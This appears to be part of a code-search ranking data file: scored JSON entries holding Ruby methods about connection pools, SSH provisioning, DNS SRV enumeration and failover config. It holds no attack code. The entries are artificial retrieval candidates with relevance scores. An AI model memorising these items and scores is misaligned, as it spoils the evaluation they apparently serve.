client_settings[:ssl]\n\n if options[:user]\n adapter_options[:auth] = {\n :user => options[:user],\n :password => options[:password],\n :eager => true\n }\n end\n\n adapter_class = ::LogStash::Outputs::ElasticSearch::HttpClient::ManticoreAdapter\n adapter = adapter_class.new(@logger, adapter_options)\n\n pool_options = {\n :sniffing => options[:sniffing],\n :sniffer_delay => options[:sniffer_delay],\n :healthcheck_path => options[:healthcheck_path],\n :resurrect_delay => options[:resurrect_delay]\n }\n\n ssl_options = options[:client_settings] ? options[:client_settings][:ssl] : {}\n pool_options[:scheme] = ssl_options && ssl_options[:enabled] ? 'https' : 'http'\n\n if options[:user]\n pool_options[:auth] = {:user => options[:user], :password => options[:password]}\n end\n\n pool_class = ::LogStash::Outputs::ElasticSearch::HttpClient::Pool\n pool_class.new(@logger, adapter, urls, pool_options)\n end",
"title": ""
},
{
"docid": "5d0db0950aa98dbb722b9aaef89410b8",
"score": "0.5981145",
"text": "def use_pool_options(pool_options)\n @pool_options = pool_options\n end",
"title": ""
},
{
"docid": "6c2b09a76b82f222964fcf01acbfcad6",
"score": "0.59741455",
"text": "def pool(options)\n ConnectionPool::Wrapper.new(size: options.fetch(:pool), timeout: 3) {\n options.delete :pool\n ::Redis.new options\n }\n end",
"title": ""
},
{
"docid": "5b0bf9cc46bcd1ff598dadb7410b04c4",
"score": "0.5815548",
"text": "def pool(size=1, **options)\n end",
"title": ""
},
{
"docid": "f4de5978eb4c9cde6f2619dbc3cd2c06",
"score": "0.57784253",
"text": "def initialize(options={})\n @remote_services = options.fetch(:remote_services)\n pool_size = options.fetch(:pool_size,3)\n @pool = Concurrent::FixedThreadPool.new(pool_size)\n @context_factory = options[:context_factory] || Context\n @timeout = 15\n @language = options[:language] || \"en\"\n @distance = options[:distance] || 1\n end",
"title": ""
},
{
"docid": "221baacf6f3748c18531cd582624fa7a",
"score": "0.5770872",
"text": "def connection_pool\n options[:connection_pool]\n end",
"title": ""
},
{
"docid": "161a132e7adb5e4e0092d7460d7dc0ae",
"score": "0.5720105",
"text": "def pool_config; end",
"title": ""
},
{
"docid": "98406d3d8367fc982997f165b256fb89",
"score": "0.5719739",
"text": "def pool_options(options)\n { size: options[:pool_size],\n timeout: options[:pool_timeout] }\n end",
"title": ""
},
{
"docid": "7ce6eb01fe649c2d4d3eb5b2fd2f5399",
"score": "0.5695948",
"text": "def pool_options options\n wire_trace = !!options[:http_wire_trace]\n logger = options[:logger] || Logger.new($stdout) if wire_trace\n verify_peer = options.key?(:ssl_verify_peer) ?\n !!options[:ssl_verify_peer] : true\n {\n :proxy_uri => URI.parse(options[:proxy_uri].to_s),\n :http_continue_timeout => options[:http_continue_timeout],\n :http_open_timeout => options[:http_open_timeout] || 15,\n :http_idle_timeout => options[:http_idle_timeout] || 15,\n :http_read_timeout => options[:http_read_timeout] || 60,\n :http_wire_trace => wire_trace,\n :logger => logger,\n :ssl_verify_peer => verify_peer,\n :ssl_ca_file => options[:ssl_ca_file],\n :ssl_ca_path => options[:ssl_ca_path],\n }\n end",
"title": ""
},
{
"docid": "24d4d81b0057feb3e21def1deb01769d",
"score": "0.5672674",
"text": "def home_run_derby_pool(game_pk, **options) = get(\"/homeRunDerby/#{game_pk}/pool\", **options)",
"title": ""
},
{
"docid": "50c70a1de8f39ae8266ed7a2a18467d9",
"score": "0.56253946",
"text": "def pool_options options\n wire_trace = !!options[:http_wire_trace]\n logger = options[:logger] || @default_logger if wire_trace\n verify_peer = options.key?(:ssl_verify_peer) ?\n !!options[:ssl_verify_peer] : true\n {\n :http_proxy => URI.parse(options[:http_proxy].to_s),\n :http_continue_timeout => options[:http_continue_timeout],\n :http_open_timeout => options[:http_open_timeout] || 15,\n :http_idle_timeout => options[:http_idle_timeout] || 5,\n :http_read_timeout => options[:http_read_timeout] || 60,\n :http_wire_trace => wire_trace,\n :logger => logger,\n :ssl_verify_peer => verify_peer,\n :ssl_ca_bundle => options[:ssl_ca_bundle],\n :ssl_ca_directory => options[:ssl_ca_directory],\n :ssl_ca_store => options[:ssl_ca_store],\n :ssl_timeout => options[:ssl_timeout]\n }\n end",
"title": ""
},
{
"docid": "94f244971a8e5f4fa396a7ef29cb0241",
"score": "0.5609321",
"text": "def redis_pool; end",
"title": ""
},
{
"docid": "94f244971a8e5f4fa396a7ef29cb0241",
"score": "0.5609321",
"text": "def redis_pool; end",
"title": ""
},
{
"docid": "94f244971a8e5f4fa396a7ef29cb0241",
"score": "0.5609321",
"text": "def redis_pool; end",
"title": ""
},
{
"docid": "2d49e3f3b71e491fb36a8214d37d2511",
"score": "0.55503076",
"text": "def pool\n @pool ||= ConnectionPool.new(size: size, timeout: timeout) { runtime.new }\n end",
"title": ""
},
{
"docid": "fd963a8321dd7376a0ff93bf5eb09058",
"score": "0.54011947",
"text": "def __setup_DRb_services\n DRb.install_acl( ACL.new( %w{deny all allow localhost allow 127.0.0.1}) )\n \n $provider = DRbObject.new(nil, \"druby://127.0.0.1:#{$service[:port_in]}\")\n $provider.for(\"#{$service[:domain]}\".to_sym, \"#{$service[:name]}\".to_sym).status = \"Booting..\" \n \n @serv = DRb.start_service \"druby://127.0.0.1:#{$service[:port_out]}\", ($service_manager=ServiceManager.new)\nend",
"title": ""
},
{
"docid": "1506edfc9519491f9d4c06ceac8e9616",
"score": "0.5376228",
"text": "def use_database_pool (options)\n remapped_options = seamless_database_pool_options\n options.each_pair do |actions, connection_method|\n unless SeamlessDatabasePool::READ_CONNECTION_METHODS.include?(connection_method)\n raise \"Invalid read pool method: #{connection_method}; should be one of #{SeamlessDatabasePool::READ_CONNECTION_METHODS.inspect}\"\n end\n actions = [actions] unless actions.kind_of?(Array)\n actions.each do |action|\n remapped_options[action.to_sym] = connection_method\n end\n end\n @seamless_database_pool_options = remapped_options\n end",
"title": ""
},
{
"docid": "1f6bd9c60c583e1e4f5e1e7684718ff4",
"score": "0.5374742",
"text": "def pool\n @__pool ||= ResourcePool.new(10, self)\n end",
"title": ""
},
{
"docid": "aea8ba13f2c9a0b8a870e77c83f25aa4",
"score": "0.5356457",
"text": "def planner\n # Test if task file passed exists\n err(\"File #{options[:taskfile]} does not exist.\") unless File.exists? options[:taskfile]\n\n tasks = YAML.load_file options[:taskfile]\n\n # Files to copy over\n copy_files = []\n\n # Service to restart\n manage_services = []\n\n # Create tmp directory where scripts will be created\n Dir.mkdir \"tmp\" unless Dir.exists? \"tmp\"\n\n # Create tmp file for the script\n mktemp = run_cmd \"type -p mktemp\"\n tmpfile = run_cmd \"#{mktemp} tmp/build.XXXX\"\n\n puts \"-- Tasks that will be executed on server\"\n tasks.each do |task|\n puts \"* #{task['desc']}\"\n\n task.each do |k,v|\n case k\n when \"packages\"\n v.each do |pkg|\n open(tmpfile, 'a') { |f| f.puts Builders::Package.build(pkg) }\n\n ## check if dependent service needs restart or not\n ## if yes, then add to list of services to get restarted\n manage_services << pkg[\"service\"] if pkg[\"service\"] && !(manage_services.include? pkg[\"service\"])\n end\n\n when \"files\"\n v.each do |file|\n copy_files << Builders::File.build(file)\n\n ## check if dependent service needs restart or not\n ## if yes, then add to list of services to get restarted\n manage_services << file[\"service\"] if file[\"service\"] && !(manage_services.include? file[\"service\"])\n end\n\n when \"services\"\n v.each do |service|\n open(tmpfile, 'a') do |f|\n f.puts Builders::Service.build(service, (manage_services.include? service[\"name\"]))\n end\n end\n\n when \"commands\"\n v.each do |command|\n open(tmpfile, 'a') do |f|\n f.puts Builders::Command.build(command)\n end\n end\n\n when \"desc\"\n next\n else\n err \"#{k} is not supported.\"\n end\n end\n end\n\n puts \"-- Run tasks on remote hosts\"\n\n options[:hosts].split(',').each do |h|\n host, port = h.split(':')\n port ||= 22\n\n puts \"* Copy all file resources\"\n copy_files.each do |f|\n run_cmd \"ssh -i #{SSHKEY} -p #{port} #{host} \\\"mkdir -p #{f[\"dest\"].split('/')[0..-2].join('/')}; echo -e '#{f[\"content\"]}' > #{f[\"dest\"]}\\\"\"\n end\n\n puts \"* Copy build script over to #{host}\"\n run_cmd \"scp -i #{SSHKEY} -P #{port} #{tmpfile} #{host}:/tmp/scaffoldinator\"\n\n puts \"* Run script on server\"\n run_cmd \"ssh -i #{SSHKEY} -p #{port} #{host} bash /tmp/scaffoldinator/#{tmpfile.split('/').last}\"\n end\n\n # Delete tmp file\n File.delete tmpfile if File.exists? tmpfile\n\n puts \"-- Finished successfully.\"\n end",
"title": ""
},
{
"docid": "dd3fadad78ece6ef15f5d35157e149eb",
"score": "0.5349919",
"text": "def redis=(options)\n @redis_pool = if options.is_a?(ConnectionPool)\n options\n else\n Rollie::RedisPool.create(options)\n end\n end",
"title": ""
},
{
"docid": "9152eb8e7eb673179bbfb08a2bb08a0f",
"score": "0.5315059",
"text": "def pool_link(options={})\n PoolManager.new_link(self, options)\n end",
"title": ""
},
{
"docid": "baca6de6ef25a8a112fbabab3f5fb5c9",
"score": "0.5315019",
"text": "def run_pool\n @pid = $$\n ENV[\"RESQUE_POOL_CONFIG\"] = config_path\n\n $stdin.reopen '/dev/null'\n log = File.new(log_path, \"a\")\n $stdout.reopen log\n $stderr.reopen log\n $stdout.sync = $stderr.sync = true\n\n require 'rake'\n Rake::Task['resque:pool'].invoke \n end",
"title": ""
},
{
"docid": "8065229fe811cd3faf562f7165236826",
"score": "0.531028",
"text": "def handle_option_rebuild_pool(pool = nil, pflags = nil)\n\tif $options[:pool].nil? and pool.nil?\n\t\ttact_error(\"'rebuild-pool' require '--pool POOL' option, see 'tact rebuild-pool --help' for more details.\")\n\tend\n\n\tflags = $options[:flags]\n\tflags = pflags if !flags\n\tif flags.nil?\n\t\tputs \"No options specified, building with \\\"prime\\\" options from etc/tuning.conf\"\n\t\tflags = $config.static_params[:prime]\n\telse\n\t\tflags = $config.static_params[:prime] + \" #{flags}\"\n\t\tputs \"Building with flags: '#{flags}'\"\n\tend\n\n\tENV[\"FLAGS\"] = flags\n\tENV[\"MAKE_DIST_CLEAN\"] = \"no\"\n\n\tpid = fork do\n\t\tpool_dir = $options[:pool]\n\t\tpool_dir = pool if !pool_dir\n\t\tpool_dir = \"#{$test_dir}/pool/#{pool_dir}\" if pool_dir[0] != '/'\n\n\t\tENV[\"POOL_DIR\"] = pool_dir\n\n\t\tputs \"Quickly rebuilding pool #{pool_dir} with options '#{flags}'\"\n\n\t\tinit_script = get_script_path('bin/rebuild-pool')\n\n\t\tif run_system(init_script) != 0\n\t\t\ttact_error(\"Rebuilding pool '#{pool_dir}' failed.\")\n\t\tend\n\n\t\tputs \"SUCCESS: Pool '#{pool_dir}' rebuilt.\"\n\t\texit 0\n\tend\n\tProcess.wait(pid)\n\treturn $?.exitstatus\nend",
"title": ""
},
{
"docid": "1236669b7fabd06405a4326429229c5e",
"score": "0.5281369",
"text": "def list_pool(options, top=false, filter_flag=nil)\n filter_flag ||= OpenNebula::Pool::INFO_GROUP # Unused\n \n table = format_pool(options)\n \n if top\n begin\n table.top(options) do\n pool = factory_pool(filter_flag) # Not sure if this help CantOpenException problem\n pool.info\n pool.to_array\n end\n rescue Sequel::DatabaseError\n sleep(RETRY_DELAY)\n puts \"RETRYING\"\n retry\n end\n else\n table.show(factory_pool(filter_flag).to_array())\n end\n \n return 0\n end",
"title": ""
},
{
"docid": "ab1824ba962fc3e7bf30ba75d70cc7b0",
"score": "0.52763945",
"text": "def pool(session, flag)\n read_task('rvpe.lease.pool', session) do\n uname = get_user_from_session(session)\n user = User.find_by_name(uname).last\n\n if flag < -1 || (flag >= 0 && flag != user.id)\n admin_session(session) do; end\n else # flag == -1\n end\n\n # lease search condition\n l_cond = nil\n if flag == -1\n l_cond = \"assigned_to=#{user.id} OR (assigned_to=-1 AND used=0)\"\n elsif flag >= 0\n l_cond = \"assigned_to=#{flag}\"\n end\n\n pool_e = REXML::Element.new('LEASE_POOL')\n Lease.each(l_cond) do |lease|\n lease_e = lease.to_xml_element(session)\n pool_e.add(lease_e)\n end\n doc = REXML::Document.new\n doc.add(pool_e)\n [true, doc.to_s]\n end\n end",
"title": ""
},
{
"docid": "a61e2d0c1c69e8b325ac98b76169a380",
"score": "0.52653027",
"text": "def run\n super\n \n if @options['srv_list']\n subdomain_list = @options['srv_list']\n else\n # Add a builtin domain list \n srv_list = [\n '_gc._tcp', '_kerberos._tcp', '_kerberos._udp', '_ldap._tcp',\n '_test._tcp', '_sips._tcp', '_sip._udp', '_sip._tcp', '_aix._tcp',\n '_aix._tcp', '_finger._tcp', '_ftp._tcp', '_http._tcp', '_nntp._tcp',\n '_telnet._tcp', '_whois._tcp', '_h323cs._tcp', '_h323cs._udp',\n '_h323be._tcp', '_h323be._udp', '_h323ls._tcp',\n '_h323ls._udp', '_sipinternal._tcp', '_sipinternaltls._tcp',\n '_sip._tls', '_sipfederationtls._tcp', '_jabber._tcp',\n '_xmpp-server._tcp', '_xmpp-client._tcp', '_imap.tcp',\n '_certificates._tcp', '_crls._tcp', '_pgpkeys._tcp',\n '_pgprevokations._tcp', '_cmp._tcp', '_svcp._tcp', '_crl._tcp',\n '_ocsp._tcp', '_PKIXREP._tcp', '_smtp._tcp', '_hkp._tcp',\n '_hkps._tcp', '_jabber._udp','_xmpp-server._udp', '_xmpp-client._udp',\n '_jabber-client._tcp', '_jabber-client._udp','_kerberos.tcp.dc._msdcs',\n '_ldap._tcp.ForestDNSZones', '_ldap._tcp.dc._msdcs', '_ldap._tcp.pdc._msdcs',\n '_ldap._tcp.gc._msdcs','_kerberos._tcp.dc._msdcs','_kpasswd._tcp','_kpasswd._udp'\n ]\n end\n\n @task_logger.log_good \"Using srv list: #{srv_list}\"\n\n srv_list.each do |srv|\n begin\n\n # Calculate the domain name\n domain = \"#{srv}.#{@object.name}\"\n\n # Try to resolve\n @resolver.getresources(domain, \"SRV\").collect do |rec|\n\n # split up the record\n resolved_address = rec.target\n port = rec.port\n weight = rec.weight\n priority = rec.priority\n\n @task_logger.log_good \"Resolved Address #{resolved_address} for #{domain}\" if resolved_address\n\n # If we resolved, create the right objects\n if resolved_address\n @task_logger.log_good \"Creating domain and host objects...\"\n\n # Create a domain. pass down the organization if we have it.\n d = create_object(Domain, {:name => domain, :organization => @object.organization })\n\n # Create a host to store the ip address\n h = create_object(Host, {:ip_address => resolved_address})\n\n # associate the newly-created host with the domain\n d.hosts << h \n h.domains << d\n \n # create a service, and also associate that with our host.\n h.net_svcs << create_object(NetSvc, {:type => \"tcp\", :port => port, :host => h})\n\n # Save the raw content of our query\n #@task_run.save_raw_result rec.to_s\n end\n\n end\n rescue Exception => e\n @task_logger.log_error \"Hit exception: #{e}\"\n end\n\n\n end\nend",
"title": ""
},
{
"docid": "5269446df633558c6fb480a1a802a436",
"score": "0.5246644",
"text": "def get_pools(options)\n call(\"get-pools\", Message.new(options))\n end",
"title": ""
},
{
"docid": "d7c49a69c4b9799a956790847537b181",
"score": "0.5236645",
"text": "def rpcs\n @rcps ||= {}\n end",
"title": ""
},
{
"docid": "e1323643bba56f20090449bd7c95d6d2",
"score": "0.5223017",
"text": "def initResultService(opts)\n url = opts[:serviceURL]\n adaptor = OMF::Common::OML::Arel::HttpServiceAdaptor.new(url) \n\n ropts = {:name => opts[:repoName]}\n opts[:repo] = OMF::Common::OML::Arel::Repository.new(ropts, adaptor) \nend",
"title": ""
},
{
"docid": "fcf2397bc692bcc14f89975bde2a17de",
"score": "0.5207602",
"text": "def pool(session, flag, history)\n read_task('rvpe.vm.pool', session) do\n uname = get_user_from_session(session)\n user = User.find_by_name(uname).last\n\n if flag <= -2 || (flag >= 0 && flag != user.id)\n admin_session(session) do; end\n end\n\n # vm search condition\n vm_cond = nil\n if flag == -1\n vm_cond = \"user_id=#{user.id}\"\n elsif flag >= 0\n vm_cond = \"user_id=#{flag}\"\n end\n\n pool_e = REXML::Element.new('VM_POOL')\n VirtualMachine.each(vm_cond) do |vm|\n vm_e = vm.to_xml_element(session)\n stat = vm_e.get_elements('STATE')[0].text.to_i\n next if stat == 6 && history != 1\n pool_e.add(vm_e)\n end\n doc = REXML::Document.new\n doc.add(pool_e)\n [true, doc.to_s]\n end\n end",
"title": ""
},
{
"docid": "e333f832cc120d8cf66ae676b245007e",
"score": "0.5206557",
"text": "def run_rcpg\n config = YAML.load_file('config.yml')\n\n kafka_config = config[:kafka]\n\n kafka_client = Kafka.new(kafka_config[:port], client_id: kafka_config[:client_id])\n # Make producer global since it should be available everywhere.\n $kafka_producer = kafka_client.producer\n \n gprc_config = config[:grpc]\n # The port gRPC server will listen to.\n\tgrpc_port = gprc_config[:port]\n # Amount of seconds to wait for active calls to complete before cancelling them and shutting down the server.\n poll_period = gprc_config[:poll_period]\n\t\n \n grpc_server = GRPC::RpcServer.new(poll_period: poll_period)\n grpc_server.add_http2_port(grpc_port, :this_port_is_insecure)\n\n server_implementation = GrpcServer.new(config)\n\n grpc_server.handle(server_implementation)\n\n puts \"--- Initiating RCPG microservice ---\"\n begin\n \tgrpc_server.run_till_terminated\n rescue Interrupt\n puts \"--- Stopping RCPG microservice ---\"\n \tgrpc_server.stop\n \tputs \"--- RCPG microservice stopped ---\"\n end\n\nend",
"title": ""
},
{
"docid": "0d1c0747f0afab5b55d72d05f670dac1",
"score": "0.52022415",
"text": "def create_replica_connection_pool(pool_size, host = nil, port = nil)\n db_config = @configuration.replica_db_config\n\n env_config = db_config.configuration_hash.dup\n env_config[:pool] = pool_size\n env_config[:host] = host if host\n env_config[:port] = port if port\n\n replica_db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new(\n db_config.env_name,\n db_config.name + REPLICA_SUFFIX,\n env_config\n )\n\n # We cannot use ActiveRecord::Base.connection_handler.establish_connection\n # as it will rewrite ActiveRecord::Base.connection\n ActiveRecord::ConnectionAdapters::ConnectionHandler\n .new\n .establish_connection(replica_db_config)\n end",
"title": ""
},
{
"docid": "376bbeaafc593262bccfee5f33b54298",
"score": "0.5195196",
"text": "def top_service_pool(client, options)\n # TODO: make default delay configurable\n options[:delay] ? delay = options[:delay] : delay = 4\n\n begin\n loop do\n CLIHelper.scr_cls\n CLIHelper.scr_move(0, 0)\n\n list_service_pool(client, options)\n\n sleep delay\n end\n rescue StandardError => e\n STDERR.puts e.message\n exit(-1)\n end\n\n 0\n end",
"title": ""
},
{
"docid": "af2eb0543841fde2a8621e27f6cb7bf3",
"score": "0.51839626",
"text": "def pool(server)\n server.pool\n end",
"title": ""
},
{
"docid": "d27cad1e09165451e468c5d3de75ae74",
"score": "0.5173537",
"text": "def thread_pool; end",
"title": ""
},
{
"docid": "34348b7135ef1a96138ecb1fcb9120eb",
"score": "0.51119334",
"text": "def serviceOpts\nend",
"title": ""
},
{
"docid": "7db519d8a75cb86b7288d983264b53ee",
"score": "0.5106394",
"text": "def pool; end",
"title": ""
},
{
"docid": "7db519d8a75cb86b7288d983264b53ee",
"score": "0.5106394",
"text": "def pool; end",
"title": ""
},
{
"docid": "7db519d8a75cb86b7288d983264b53ee",
"score": "0.5106394",
"text": "def pool; end",
"title": ""
},
{
"docid": "7db519d8a75cb86b7288d983264b53ee",
"score": "0.5106394",
"text": "def pool; end",
"title": ""
},
{
"docid": "7db519d8a75cb86b7288d983264b53ee",
"score": "0.5106394",
"text": "def pool; end",
"title": ""
},
{
"docid": "f819a947c74205f1f4a0e6eb0bec821d",
"score": "0.5106125",
"text": "def call_server(options)\n lb_all_bad_msg = 'all nodes failed to communicate with server!'\n response = nil\n\n # credentials if not defined explicitly\n options[:user] = user unless options.include? :user\n options[:password] = password unless options.include? :password\n debug_string = options[:uri]\n if debug_string\n query_log(\"Orientdb4r::Client#call_server\", URI.decode(debug_string))\n end\n idx = lb_strategy.node_index\n raise OrientdbError, lb_all_bad_msg if idx.nil? # no good node found\n\n begin\n node = @nodes[idx]\n begin\n response = node.request options\n lb_strategy.good_one idx\n return response\n\n rescue NodeError => e\n Orientdb4r::logger.error \"node error, index=#{idx}, msg=#{e.message}, #{node}\"\n node.cleanup\n lb_strategy.bad_one idx\n idx = lb_strategy.node_index\n end\n end until idx.nil? and response.nil? # both 'nil' <= we tried all nodes and all with problem\n\n raise OrientdbError, lb_all_bad_msg\n end",
"title": ""
},
{
"docid": "e1800b270951675ec8ad7d9bf9790a90",
"score": "0.5099971",
"text": "def initialize(pool_config); end",
"title": ""
},
{
"docid": "66aa8f499cdba1e58bb9cdfcf9d8e6a7",
"score": "0.5091412",
"text": "def pools\n end",
"title": ""
},
{
"docid": "e0586fd04c795f7604d8d643bf5c5a2e",
"score": "0.50906855",
"text": "def create(options = {})\n ConnectionPool.new(pool_options(options)) do\n build_connection(options)\n end\n end",
"title": ""
},
{
"docid": "48c1c13d4d69b5c96999fe7fb7448693",
"score": "0.50857973",
"text": "def create_pool config\n case config[:adapter].to_sym\n when :postgresql\n require 'sldatabase/postgresql/slpostgresqlpool'\n clt = SLPostgresqlPool.new config\n when :orientdb\n require 'sldatabase/orientdb/slorientdbpool'\n clt = SLOrientdblPool.new config \n else\n raise MissingAdapterError, \"Adapter #{ config[:adapter] } are not supported\"\n end\n end",
"title": ""
},
{
"docid": "e850a96036e24f58439d6a45d9778121",
"score": "0.506925",
"text": "def list_service_template_pool(client, options)\n response = client.get(RESOURCE_PATH)\n\n if CloudClient.is_error?(response)\n [response.code.to_i, response.to_s]\n else\n if options[:json]\n [0, response.body]\n else\n documents = JSON.parse(response.body)['DOCUMENT_POOL']\n format_service_template_pool.show(documents['DOCUMENT'])\n\n 0\n end\n end\n end",
"title": ""
},
{
"docid": "e850a96036e24f58439d6a45d9778121",
"score": "0.506925",
"text": "def list_service_template_pool(client, options)\n response = client.get(RESOURCE_PATH)\n\n if CloudClient.is_error?(response)\n [response.code.to_i, response.to_s]\n else\n if options[:json]\n [0, response.body]\n else\n documents = JSON.parse(response.body)['DOCUMENT_POOL']\n format_service_template_pool.show(documents['DOCUMENT'])\n\n 0\n end\n end\n end",
"title": ""
},
{
"docid": "9bf3fc02cd8f6650f93d9af2b1424c6d",
"score": "0.50483125",
"text": "def pool\n @pool ||= Connection::Manager.pool(self)\n end",
"title": ""
},
{
"docid": "74b54be1d1aa4369c792bc4cf96aa297",
"score": "0.50468403",
"text": "def install_odl(options = {})\n # Install params are passed via environment var, set in Rakefile\n # Changing the installed version of ODL via `puppet apply` is not supported\n # by puppet-odl, so it's not possible to vary these params in the same\n # Beaker test run. Do a different run passing different env vars.\n rpm_repo = ENV['RPM_REPO']\n deb_repo = ENV['DEB_REPO']\n\n # NB: These param defaults should match the ones used by the opendaylight\n # class, which are defined in opendaylight::params\n # Extract params if given, defaulting to odl class defaults if not\n extra_features = options.fetch(:extra_features, ['odl-restconf'])\n default_features = options.fetch(:default_features, ['standard', 'wrap', 'ssh'])\n odl_rest_port = options.fetch(:odl_rest_port, 8181)\n odl_bind_ip = options.fetch(:odl_bind_ip, '0.0.0.0')\n log_levels = options.fetch(:log_levels, {})\n enable_ha = options.fetch(:enable_ha, false)\n ha_node_ips = options.fetch(:ha_node_ips, [])\n ha_node_index = options.fetch(:ha_node_index, 0)\n ha_db_modules = options.fetch(:ha_db_modules, { 'default' => false })\n username = options.fetch(:username, 'admin')\n password = options.fetch(:password, 'admin')\n log_max_size = options.fetch(:log_max_size, '500MB')\n log_max_rollover = options.fetch(:log_max_rollover, 4)\n log_pattern = options.fetch(:log_pattern, '%d{ISO8601} | %-5p | %-16t | %-60c{6} | %m%n')\n log_rollover_fileindex = options.fetch(:log_rollover_fileindex, 'min')\n enable_paxosgi_logger = options.fetch(:enable_paxosgi_logger, false)\n snat_mechanism = options.fetch(:snat_mechanism, 'controller')\n enable_tls = options.fetch(:enable_tls, false)\n tls_keystore_password = options.fetch(:tls_keystore_password, 'dummypass')\n log_mechanism = options.fetch(:log_mechanism, 'file')\n inherit_dscp_marking = options.fetch(:inherit_dscp_marking, false)\n stats_polling_enabled = options.fetch(:stats_polling_enabled, false)\n inactivity_probe = options.fetch(:inactivity_probe, :undef)\n java_opts = options.fetch(:java_opts, '')\n\n # Build script for consumption by Puppet apply\n it 'should work idempotently with no errors' do\n pp = <<-EOS\n class { 'opendaylight':\n rpm_repo => '#{rpm_repo}',\n deb_repo => '#{deb_repo}',\n default_features => #{default_features},\n extra_features => #{extra_features},\n odl_rest_port => #{odl_rest_port},\n odl_bind_ip => '#{odl_bind_ip}',\n enable_ha => #{enable_ha},\n ha_node_ips => #{ha_node_ips},\n ha_node_index => #{ha_node_index},\n ha_db_modules => #{ha_db_modules},\n log_levels => #{log_levels},\n username => #{username},\n password => #{password},\n log_max_size => '#{log_max_size}',\n log_max_rollover => #{log_max_rollover},\n log_pattern => '#{log_pattern}',\n log_rollover_fileindex => #{log_rollover_fileindex},\n enable_paxosgi_logger => #{enable_paxosgi_logger},\n snat_mechanism => #{snat_mechanism},\n enable_tls => #{enable_tls},\n tls_keystore_password => #{tls_keystore_password},\n log_mechanism => #{log_mechanism},\n inherit_dscp_marking => #{inherit_dscp_marking},\n stats_polling_enabled => #{stats_polling_enabled},\n inactivity_probe => #{inactivity_probe},\n java_opts => '#{java_opts}',\n }\n EOS\n\n # Apply our Puppet manifest on the Beaker host\n apply_manifest(pp, :catch_failures => true)\n\n # Not checking for idempotence because of false failures\n # related to package manager cache updates outputting to\n # stdout and different IDs for the puppet manifest apply.\n # I think this is a limitation in how Beaker can check\n # for changes, not a problem with the Puppet module.\n end\nend",
"title": ""
},
{
"docid": "5b2d4a415558cf3102db3caf237e97e5",
"score": "0.50417936",
"text": "def initialize(specification, options = {})\n @options = {:size => 5}.merge(options)\n @pool = ResourcePool.new(@options[:size], lambda {specification.connect!})\n @connection_map = {} # Connections mapped to threads\n @mutex = Monitor.new\n end",
"title": ""
},
{
"docid": "71250d3e733a92efdfcfaab0845f7411",
"score": "0.50374657",
"text": "def generate_config(options)\n path = options.path\n FileUtils.mkdir_p(File.join(path, 'config/pools'))\n FileUtils.mkdir_p(File.join(path, 'lib/deadpool/monitor'))\n FileUtils.mkdir_p(File.join(path, 'lib/deadpool/failover_protocol'))\n File.open File.join(path, 'config/pools/example.yml'), 'w' do |file|\n file.write <<-EOF\npool_name: 'example_database'\nprimary_host: '10.1.2.3'\nsecondary_host: '10.2.3.4'\ncheck_interval: 1\nmax_failed_checks: 10\n\n# There can be only one monitor per pool at this time. The deadpool system\n# defines no rules for the monitor configuration except that it is called\n# monitor_config: and has monitor_class: defined at the base level. \n# All other configuration variables are plugin specific.\nmonitor_config:\n monitor_class: Mysql\n nagios_plugin_path: '/usr/lib/nagios/plugins'\n\n# There can be as many Failover Protocols as you want and you can use \n# the same plugin multiple times. The deadpool defines no riles for the \n# failover protocol config except that it be an array element of \n# failover_protocol_configs and defines protocol_class at it's base. The rest\n# of the configuration is specific to the failover protocol.\nfailover_protocol_configs:\n - protocol_class: EtcHosts\n script_path: 'etc_hosts_switch'\n service_host_name: 'master.mysql.example.project.client'\n username: 'deadpool'\n password: 'p4ssw0rd'\n use_sudo: 1\n client_hosts:\n - '10.3.4.5' # app server 1 (web server)\n - '10.4.5.6' # app server 2 (web server)\n\n - protocol_class: ExecRemoteCommand\n test_command: '/etc/init.d/nginx status'\n exec_command: '/etc/init.d/nginx restart'\n username: 'deadpool'\n password: 'p4ssw0rd'\n use_sudo: 1\n client_hosts:\n - '10.3.4.5' # app server 1 (web server)\n - '10.4.5.6' # app server 2 (web server)\n EOF\n end\n File.open File.join(path, 'config/environment.yml'), 'w' do |file|\n file.write <<-EOF\n# log_path: '/var/log/deadpool.log'\n# log_level: INFO\n# system_check_interval: 30\n# admin_hostname: 'localhost'\n# admin_port: 5507\n EOF\n end\n end",
"title": ""
},
{
"docid": "90a7760f01270022598a5152dbd13d19",
"score": "0.50344473",
"text": "def redis_pool=(_arg0); end",
"title": ""
},
{
"docid": "90a7760f01270022598a5152dbd13d19",
"score": "0.50344473",
"text": "def redis_pool=(_arg0); end",
"title": ""
},
{
"docid": "90a7760f01270022598a5152dbd13d19",
"score": "0.50344473",
"text": "def redis_pool=(_arg0); end",
"title": ""
},
{
"docid": "02827cac9f5bf6e2f5eb06e7bf7a2541",
"score": "0.5034182",
"text": "def pool\n @pool || 5\n end",
"title": ""
},
{
"docid": "39550acedf72e5258c50d5f256fd339c",
"score": "0.5033301",
"text": "def add_poolparty_base_requirements \n heartbeat\n haproxy\n ruby\n poolparty\n end",
"title": ""
},
{
"docid": "f154b6021db7897700d899a546ba9f85",
"score": "0.50269973",
"text": "def setup(options)\n @host = options[:host]\n @port = options[:port] || 9091\n #@db = options[:db] || 1\n end",
"title": ""
},
{
"docid": "cd219ada2e035538827484e8de98b9d0",
"score": "0.50069916",
"text": "def handle_option_init_pool(pool = nil, pflags = nil)\n\tpid = fork do\n if $options[:pool].nil? and pool.nil?\n\t\t tact_error(\"'init-pool' require '--pool POOL' option, see 'tact init-pool --help' for more details.\")\n\t end\n\n \tflags = $options[:flags]\n\t flags = pflags if !flags\n \tif flags.nil?\n\t \tputs \"No options specified, building with \\\"prime\\\" options from etc/tuning.conf\"\n\t\t flags = $config.static_params[:prime]\n\t else\n\t\t puts \"Building with flags: '#{flags}'\"\n \tend\n\n\t ENV[\"FLAGS\"] = flags\n\t ENV[\"MAKE_DIST_CLEAN\"] = \"yes\"\n\n\t pool_dir = $options[:pool]\n \tpool_dir = pool if !pool_dir\n\t pool_dir = \"#{$test_dir}/pool/#{pool_dir}\" if pool_dir[0] != '/'\n\n \tENV[\"POOL_DIR\"] = pool_dir\n\n\t [\"build\",\"log\",\"run\"].each { |dir|\n\t\t if !File.directory?(\"#{pool_dir}/#{dir}\")\n\t\t\t puts \"Creating #{pool_dir}/#{dir}...\"\n \t\t\tFileUtils.mkdir_p(\"#{pool_dir}/#{dir}\")\n\t \tend\n \t}\n\n \tputs \"Building pool #{pool_dir} from scratch with options '#{flags}'\"\n\n init_script = 